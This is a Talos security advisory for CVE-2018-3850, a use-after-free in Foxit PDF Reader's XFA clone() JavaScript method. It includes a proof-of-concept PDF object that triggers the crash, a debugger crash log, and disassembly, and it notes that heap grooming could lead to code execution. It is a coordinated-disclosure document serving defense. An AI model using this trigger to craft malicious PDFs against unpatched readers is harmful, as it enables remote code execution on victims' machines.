Talos Vulnerability Report

TALOS-2018-0532

Foxit PDF Reader JavaScript XFA Clone Remote Code Execution Vulnerability

April 19, 2018
CVE Number

CVE-2018-3850

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine Foxit Software Foxit PDF Reader version 9.0.1.1049. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If a browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit PDF Reader 9.0.1.1049.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support posses an additional attack surface. Additionally, Foxit PDF Reader supports XFA or XML Forms Architecture, which is a new way of making interactive PDF forms.

If a document containing XFA forms executes JavaScript code that closes the active document, a specific XFA method is invoked, which keeps a stale reference to a now freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.

This particular vulnerability lies in this.xfa.clone() method, which triggers a use-after-free condition when the following code is executed in a regular PDF document:

1348 0 obj
<<
  /Length 25
>>
stream

    app.activeDocs[0].closeDoc(  );    
    this.xfa.clone( );

endstream
endobj

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash (note that Foxit Reader will pop up a warning that the file is damaged due to malformed XFA objects, which is of no consequence to triggering the vulnerability):

(24c.834): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for FoxitReader.exe -
eax=11deaef8 ebx=00000000 ecx=12edadb0 edx=0027e90c esi=11deaef8 edi=0027e9d8
eip=01910916 esp=0027e8c8 ebp=0027e8cc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CertFreeCertificateChain+0x64536:
01910916 8b01            mov     eax,dword ptr [ecx]  ds:0023:12edadb0=????????
0:000> !heap -p -a ecx
    address 12edadb0 found in
    _DPH_HEAP_ROOT @ 72e1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   12e51b2c:         12eda000             2000
    6b2e90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    777569d4 ntdll!RtlDebugFreeHeap+0x0000002f
    77719e5b ntdll!RtlpFreeHeap+0x0000005d
    776e6416 ntdll!RtlFreeHeap+0x00000142
    75b9c5f4 kernel32!HeapFree+0x00000014
    02c4b1fb FoxitReader!CertFreeCertificateChain+0x0139ee1b
    0127eab8 FoxitReader+0x000ceab8
    01280ae8 FoxitReader+0x000d0ae8
    013c79de FoxitReader+0x002179de
    013c77ab FoxitReader+0x002177ab
    013d698a FoxitReader+0x0022698a
    013c13f7 FoxitReader+0x002113f7
    013c1218 FoxitReader+0x00211218
    02aa24f9 FoxitReader!CertFreeCertificateChain+0x011f6119
    02aa63fc FoxitReader!CertFreeCertificateChain+0x011fa01c
    02aa648b FoxitReader!CertFreeCertificateChain+0x011fa0ab
    75a9c4b7 USER32!InternalCallWinProc+0x00000023
    75a9c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    75a95264 USER32!SendMessageWorker+0x000004d0
    75a95552 USER32!SendMessageW+0x0000007c
    013bee15 FoxitReader+0x0020ee15
    02aa8172 FoxitReader!CertFreeCertificateChain+0x011fbd92
    02aa24f9 FoxitReader!CertFreeCertificateChain+0x011f6119
    02aa63fc FoxitReader!CertFreeCertificateChain+0x011fa01c
    02aa648b FoxitReader!CertFreeCertificateChain+0x011fa0ab
    75a9c4b7 USER32!InternalCallWinProc+0x00000023
    75a9c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    75a95264 USER32!SendMessageWorker+0x000004d0
    75a95552 USER32!SendMessageW+0x0000007c
    012ea7c7 FoxitReader+0x0013a7c7
    01916eb9 FoxitReader!CertFreeCertificateChain+0x0006aad9
    01924769 FoxitReader!CertFreeCertificateChain+0x00078389
0:000>

Analyzing the heap state clearly shows that ecx points to a freed memory region. If we examine the next few instructions we can see the following:

FoxitReader!CertFreeCertificateChain+0x64536:
01910916 8b01            mov     eax,dword ptr [ecx]
01910918 8b5008          mov     edx,dword ptr [eax+8]
0191091b 57              push    edi
0191091c ffd2            call    edx
0191091e 85c0            test    eax,eax
01910920 745a            je      FoxitReader!CertFreeCertificateChain+0x6459c (0191097c)
01910922 8b4e5c          mov     ecx,dword ptr [esi+5Ch]
01910925 8b01            mov     eax,dword ptr [ecx]
0:000>

We can see that there is a call instruction immediately after the dereference of ecx, which we know to be free. With proper memory layout control, a memory chunk pointed to by ecx can be reallocated before it is reused, which gives full control over its content, and can ultimately result in EIP control and arbitrary code execution.

Timeline

2018-02-26 - Vendor Disclosure
2018-04-01 - Vendor pushed release to mid April
2018-04-19 - Vendor patch released
2018-04-19 - Public disclosure

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.